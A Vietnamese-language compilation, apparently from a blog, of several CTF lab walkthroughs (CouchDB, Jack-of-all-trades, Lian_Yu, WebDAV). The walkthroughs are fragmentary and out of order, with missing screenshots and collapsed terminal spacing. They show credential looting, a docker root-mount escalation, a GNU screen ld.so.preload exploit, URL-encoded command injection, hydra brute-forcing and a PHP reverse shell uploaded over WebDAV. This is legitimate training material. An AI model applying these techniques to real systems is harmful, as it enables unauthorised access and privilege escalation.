Việc đầu tiên cần làm là quét các cổng đang mở trên máy chủ mục tiêu
PORTSTATESERVICEREASONVERSION22/tcpopensshsyn-ackOpenSSH7.2p2Ubuntu4ubuntu2.10(UbuntuLinux;protocol2.0)|ssh-hostkey:|2048349d390934304b3da71edfeba3b0e5aa(RSA)|ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQDMXnGZUnLWqLZb8VQiVH0z85lV+G4KY5l5kKf1fS7YgSnfZ+k3CRjAZPuGceg5RQEUbOMCm+0u4SDyIEbwwAXGv0ORK4/VEIyJlZmtlqeyASwR8ML4yjdGqinqOUZ3jN/ZIg4veJ02nr86GZP+Nto0TZt7beaIxykMEZHTdo0CctdKLIet7PpvwG4F5Tn9MBoys9pUjfpcnwbf91Tv6i56Gipo07jKgb5vP8Nl1TXPjWB93WNW2vWEQ1J4tiyZlBeLOaNaEbxvNQFnKxjVYiiLCbcofwSdrwZ7/+sIy5BdiNW+k81rBN3OqaQNZ8urFaiXXf/ukRr/hhjY5a6m0MHn|256a42eef3a845d211bb9d42613a52ddf19(ECDSA)|ecdsa-sha2-nistp256AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNTR07g3p8MfnQVnv8uqj8GGDH6VoSRzwRFflMbEf3WspsYyVipg6vtNQMaq5uNGUXF8ubpsnHeJA+T3RilTLXc=|256e16d4dfdc8008e86c2132dc7ad85139c(ED25519)|_ssh-ed25519AAAAC3NzaC1lZDI1NTE5AAAAIKLUyz2Tpwc5qPuFxV+HnGBeqLC6NWrmpmGmE0hk7Hlj5984/tcpopenhttpsyn-ackCouchDBhttpd1.6.1(ErlangOTP/18)|_http-server-header:CouchDB/1.6.1(ErlangOTP/18)|_http-title:Sitedoesn't have a title (text/plain; charset=utf-8).
| http-methods:
|_ Supported Methods: GET HEAD
|_http-favicon: Unknown favicon MD5: 2AB2AAE806E8393B70970B2EAACE82E0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Với port 5984 tôi có web console của CouchDB. Đọc qua document của db này thì tôi tìm được path của web admin là /_utils
Để list ra toàn bộ db trên web browser tôi dùng path /_all_dbs
Dạo qua các db này thì tôi tìm thấy creds bên trong db secret
Thử login ssh
┌──(neo㉿kali)-[~]└─$sshatena@10.10.60.64Theauthenticityofhost'10.10.60.64 (10.10.60.64)'can't be established.
ED25519 key fingerprint is SHA256:QXIT4W/vOthS71YtOAr7s67oloxpMmr0GLRVL9iVFJM.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.60.64' (ED25519) to the list of known hosts.
atena@10.10.60.64'spassword:WelcometoUbuntu16.04.7LTS(GNU/Linux4.4.0-193-genericx86_64)*Documentation:https://help.ubuntu.com*Management:https://landscape.canonical.com*Support:https://ubuntu.com/advantageLastlogin:FriDec1815:25:272020from192.168.85.1atena@ubuntu:~$iduid=1000(atena)gid=1000(atena)groups=1000(atena),4(adm),24(cdrom),30(dip),46(plugdev),114(lpadmin),115(sambashare)atena@ubuntu:~$lsuser.txtatena@ubuntu:~$
Privilege escalation
Thử sudo -l hay find đều không có kết quả. Nhưng khi ls -la để xem những file ẩn ở thư mục user atena, tôi nhận ra file .bash_history có size khá lớn.
Ở đoạn cuối này, tôi để ý thấy root sử dụng -s để lấy shell và thực thi docker. Tôi sẽ dùng lại câu lệnh này
atena@ubuntu:~$docker-H127.0.0.1:2375run--rm-it--privileged--net=host-v/:/mntalpin/# id
uid=0(root)gid=0(root)groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(fl/# cat /root/root.txt
cat:can't open '/root/root.txt': No such file or directory
/ # ls /root
/ # find / -type f -name root.txt 2>/dev/null
/mnt/root/root.txt
/ #
Có vẻ như ảnh đang bị sai định dạng nên không thể mở được - đuôi là jpg nhưng warning lại nói là png. Tôi sẽ dùng hexed.it để phân tích nó
Với 8 byte đầu này thì đúng là của file png nhưng theo như warning phía trên thì IHDR sẽ phải là jpg mới. Vậy nên tôi sẽ đổi 8 byte đầu thành signatures của jpg
Export ảnh này về, và bên trong nó là 1 path ẩn
Xem qua source của trang này tôi tìm thấy 1 hint nữa
<h2>Welcome!Ihavebeenexpectingyou!</h2><p>Toobtainmyidentityyouneedtoguessmysecret!</p><!--It's between 0-99 but I don'tthinkanyonewilllookhere--><p>SecretEntered:</p>
Vậy là tôi có thể điền 1 số nào đó từ 0-99 vào phần Secret Entered:, nhưng lại không có phần input nào. Vậy nên tôi nghĩ rằng tôi có thể điền trên url.
Việc đầu tiên tôi sẽ tạo wordlist số 0-99 với crunch, cách tạo wordlist với crunch thì nó ở đây
Sau khi chạy hết, tôi để ý thấy có 1 path mà Size của nó cao hơn nhiều so với các số khác đó là 73 với Size: 445, nghĩa là ký tự của trang này nhiều hơn hẳn các trang khác (407 hoặc 408).
Tôi còn 1 phương pháp nữa chưa thử đó là dùng steghide với bức ảnh phía trên. Thử extract nó với pass vừa tìm được
┌──(neo㉿kali)-[~]└─$steghideextract-sfthm.webpEnterpassphrase:wroteextracteddatato"hidden.txt".┌──(neo㉿kali)-[~]└─$cathidden.txtFineyoufoundthepassword!Here's a username
wbxre
I didn'tsayIwouldmakeiteasyforyou!
Với hint là Rotten thì tôi sẽ thử decode username này với rot13 và nhận được username là joker.
Trong lời nhắn có nói tôi đã tìm được password, nhưng tôi có thấy password nào ở đây đâu nhỉ? Thêm nữa tôi không được brute-force với ssh nên dù có thử qua các pass có liên quan thì cũng không thể có kết quả
Đến đây thì tôi đành phải tham khảo giải thích của những người đã từng làm. Và hóa ra cả bức ảnh trong phần giới thiệu của room này cũng là 1 dữ kiện. Thật là không ngờ đến!!!
Thực ra việc phải tham khảo giải thích của người khác đã làm giảm hứng thú của tôi với room này đi nhiều. Nhưng để hoàn thành nốt thì tôi sẽ coi đấy là 1 hint nữa. Tôi sẽ lấy nó về và lại extract với steghide
┌──(neo㉿kali)-[~]└─$sshjoker@10.10.24.75joker@10.10.24.75's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-170-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Sun Jan 5 18:51:33 2020 from 192.168.244.128
joker@ubuntu:~$ id
uid=1000(joker) gid=1000(joker) groups=1000(joker)
joker@ubuntu:~$ ls
user.txt
joker@ubuntu:~$
joker@ubuntu:~$chmod+x41154.shjoker@ubuntu:~$./41154.sh~gnu/screenroot~[+]First,wecreateourshellandlibrary...[+]Nowwecreateour/etc/ld.so.preloadfile...[+]Triggering...' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-joker.
# id
uid=0(root) gid=0(root) groups=0(root),1000(joker)
# ls /root
root.txt
#
┌──(neo㉿kali)-[~]└─$curl-shttp://10.10.212.34:22<html><head><title>Jack-of-all-trades!</title><linkhref="assets/style.css"rel=stylesheettype=text/css></head><body><imgid="header"src="assets/header.jpg"width=100%><h1>WelcometoJack-of-all-trades!</h1><main><p>MynameisJack.I'm a toymaker by trade but I can do a little of anything -- hence the name!<br>I specialise in making children'stoys(norelationtothebigmanintheredsuit-promise!)butanythingyouwant,feelfreetogetincontactandI'll see if I can help you out.</p>
<p>My employment history includes 20 years as a penguin hunter, 5 years as a police officer and 8 months as a chef, but that'sallbehindme.I'm invested in other pursuits now!</p>
<p>Please bear with me; I'mold,andattimesIcanbeveryforgetful.Ifyouemploymeyoumightfindrandomnoteslyingaroundasreminders,butdon't worry, I <em>always</em> clear up after myself.</p>
<p>I love dinosaurs. I have a <em>huge</em> collection of models. Like this one:</p>
<img src="assets/stego.jpg">
<p>I make a lot of models myself, but I also do toys, like this one:</p>
<img src="assets/jackinthebox.jpg">
<!--Note to self - If I ever get locked out I can get back in at /recovery.php! -->
<!-- UmVtZW1iZXIgdG8gd2lzaCBKb2hueSBHcmF2ZXMgd2VsbCB3aXRoIGhpcyBjcnlwdG8gam9iaHVudGluZyEgSGlzIGVuY29kaW5nIHN5c3RlbXMgYXJlIGFtYXppbmchIEFsc28gZ290dGEgcmVtZW1iZXIgeW91ciBwYXNzd29yZDogdT9XdEtTcmFxCg== -->
<p>I hope you choose to employ me. I love making new friends!</p>
<p>Hope to see you soon!</p>
<p id="signature">Jack</p>
</main>
</body>
</html>
┌──(neo㉿kali)-[~]
└─$
Tôi có 1 đoạn code base64 ở đây. Giải mã nó thì tôi được 1 lời nhắn
*Remember to wish Johny Graves well with his crypto jobhunting! His encoding systems are amazing! Also gotta remember your password: u?WtKSraq
Tuy nhiên tôi để ý còn có một path nữa khá thú vị là /recovery.php
Thử link trong phần hint này thì đó là wiki về Stegosauria - 1 loài khủng long. Khi đọc đến Steg tôi đã nghĩ đến steghide, tôi sẽ tải tất cả các ảnh có trên web về và thử extract nó bằng steghide, còn passphrase thì tôi sẽ thử với đoạn code vừa tìm được phía trên.
stego.jpg
┌──(neo㉿kali)-[~]└─$steghideextract-sfstego.jpgEnterpassphrase:wroteextracteddatato"creds.txt".┌──(neo㉿kali)-[~]└─$catcreds.txtHehe.Gotcha!You're on the right path, but wrong image!
Theo như lời nhắn, tôi sẽ thử 1 cmd đơn giản như thế này
Khi thử cat /etc/passwd, tôi để ý thấy url sẽ bị mã hóa rồi sau đó mới trả về kết quả, điều này có nghĩa là để command được thực thi thì tôi phải chuyển nó về url encode
Tạo listener với port 9001 và tạo shell với bash. Sau 1 lúc thử các shell thì không RCE được nên tôi quyết định sẽ tìm thủ công.
Trong thư mục /home có 1 thư mục của user jack và 1 file jacks_password_list. Khi mở file này thì nó là 1 list các password, tôi sẽ lưu nó về và thử brute-force bằng hydra với user jack
jack@jack-of-all-trades:~$LFILE=/root/root.txtjack@jack-of-all-trades:~$strings"$LFILE"ToDo:1.Getnewpenguinskinrug--surelytheywon't miss one or two of those blasted creatures?
2.Make T-Rex model!
3.Meet up with Johny for a pint or two
4.Move the body from the garage, maybe my old buddy Bill from the force can help me hide her?
5.Remember to finish that contract for Lisa.
6.Delete this: securi-tay2020_{6f12*********************10a}
Với Hint sử dụng CyberChef, tôi tìm decode được mã trên với base58.
Login nó với ftp và sử dụng user vigilante
┌──(neo㉿kali)-[~]└─$ftp10.10.171.203Connectedto10.10.171.203.220(vsFTPd3.0.2)Name(10.10.171.203:neo):vigilante331Pleasespecifythepassword.Password:230Loginsuccessful.RemotesystemtypeisUNIX.Usingbinarymodetotransferfiles.ftp>dir229EnteringExtendedPassiveMode(|||38540|).150Herecomesthedirectorylisting.-rw-r--r--100511720May012020Leave_me_alone.webp-rw-r--r--100549924May052020Queen's_Gambit.webp
-rw-r--r-- 1 0 0 191026 May 01 2020 aa.jpg
226 Directory send OK.
ftp>
Lấy cả 3 ảnh này về để phân tích. Trong này có 2 ảnh Quenn và aa là có thể xem được còn ảnh Leave_me_alone thì không. Tôi sẽ up nó lên *hexed.it để phân tích
8 byte ký hiệu đầu tiên của file png này không đúng (hoặc đã bị thay đổi). Tôi sẽ sửa lại nó và export ra ảnh mới
Ảnh này và aa đều có điểm chung là về những tay súng, nên tôi nghĩ chúng có thể liên quan đến nhau chăng?
Tôi sẽ thử dùng steghide phân tích ảnh aa với passphrase là password
┌──(neo㉿kali)-[~]└─$unzipss.zipArchive:ss.zipinflating:passwd.txtinflating:shado┌──(neo㉿kali)-[~]└─$catpasswd.txtThisisyourvisatoLandonLian_Yu# Just for Fun ***
asmallNoteaboutitHavingspentyearsontheisland,Oliverlearnedhowtoberesourcefulandsetboobytrapsallovertheislandinthecommoneventheranintodangerouspeople.Theislandisalsohometomanyanimals,includingpheasants,wildpigsandwolves.┌──(neo㉿kali)-[~]└─$catshadoM3tahuman
Bây giờ tôi đã có 1 password nhưng chưa có username, nhìn lại chiếc ảnh về người đàn ông này, tôi thử tìm kiếm trên gg bằng bức ảnh này và người trong ảnh tên là Slade Wilson a.k.a Deathstroke
Thử login ssh với tên Slade
┌──(neo㉿kali)-[~]└─$sshslade@10.10.59.181Theauthenticityofhost'10.10.59.181 (10.10.59.181)'can't be established.
ED25519 key fingerprint is SHA256:DOqn9NupTPWQ92bfgsqdadDEGbQVHMyMiBUDa0bKsOM.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:77: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.59.181' (ED25519) to the list of known hosts.
slade@10.10.59.181'spassword:WayToSSH...Loading.........Done..ConnectingToLian_YuHappyHacking██╗██╗███████╗██╗██████╗██████╗███╗███╗███████╗██████╗██║██║██╔════╝██║██╔════╝██╔═══██╗████╗████║██╔════╝╚════██╗██║█╗██║█████╗██║██║██║██║██╔████╔██║█████╗█████╔╝██║███╗██║██╔══╝██║██║██║██║██║╚██╔╝██║██╔══╝██╔═══╝╚███╔███╔╝███████╗███████╗╚██████╗╚██████╔╝██║╚═╝██║███████╗███████╗╚══╝╚══╝╚══════╝╚══════╝╚═════╝╚═════╝╚═╝╚═╝╚══════╝╚══════╝██╗██╗█████╗███╗██╗██╗██╗██╗██╗██║██║██╔══██╗████╗██║╚██╗██╔╝██║██║██║██║███████║██╔██╗██║╚████╔╝██║██║██║██║██╔══██║██║╚██╗██║╚██╔╝██║██║███████╗██║██║██║██║╚████║███████╗██║╚██████╔╝╚══════╝╚═╝╚═╝╚═╝╚═╝╚═══╝╚══════╝╚═╝╚═════╝#
slade@LianYu:~$iduid=1000(slade)gid=1000(slade)groups=1000(slade),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),115(bluetooth)slade@LianYu:~$lsuser.txt
Khi truy cập vào path này, tôi cần phải có user và pass. Sau 1 lúc tìm hiểu về webdav thì tôi tìm được cách kiểm tra và truy cập webdav với user và pass mặc định. Nó ở đây.
Thử login webdav với cadaver - tool có sẵn trên kali
┌──(neo㉿kali)-[~]└─$cadaverhttp://10.10.115.69/webdavAuthenticationrequiredforwebdavonserver`10.10.115.69':
Username: wampp
Password:
dav:/webdav/> ?
Available commands:
ls cd pwd put get mget mput
edit less mkcol cat delete rmcol copy
move lock unlock discover steal showlocks version
checkin checkout uncheckout history label propnames chexec
propget propdel propset search set open close
echo quit unset lcd lls lpwd logout
help describe about
Aliases: rm=delete, mkdir=mkcol, mv=move, cp=copy, more=less, quit=exit=bye
dav:/webdav/>
Tôi sẽ thử tạo 1 file txt và upload nó lên webdav, để kiểm tra xem nó có chạy không.
┌──(neo㉿kali)-[~]└─$echo"TESTING">test.txt
dav:/webdav/>puttest.txtUploadingtest.txtto`/webdav/test.txt':
Progress: [=============================>] 100.0% of 8 bytes succeeded.
dav:/webdav/>
Truy cập trên web
Thành công. Tôi sẽ thử đẩy reverse shell lên đây
dav:/webdav/>putreshell.phpUploadingreshell.phpto`/webdav/reshell.php':
Progress: [=============================>] 100.0% of 2586 bytes succeeded.
dav:/webdav/>
Tạo listener với port 2402 - port đã cấu hình bên trong file shell.
nc -nlvp 2402
Bây giờ thì thử truy cập shell vừa tạo
┌──(neo㉿kali)-[~]└─$nc-lnvp2402listeningon[any]2402...connectto[10.6.0.191]from(UNKNOWN)[10.10.115.69]50358Linuxubuntu4.4.0-159-generic#187-Ubuntu SMP Thu Aug 1 16:28:06 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
03:17:08up1:06,0users,loadaverage:0.00,0.00,0.00USERTTYFROMLOGIN@IDLEJCPUPCPUWHATuid=33(www-data)gid=33(www-data)groups=33(www-data)bash:cannotsetterminalprocessgroup(690):Inappropriateioctlfordevicebash:nojobcontrolinthisshellwww-data@ubuntu:/$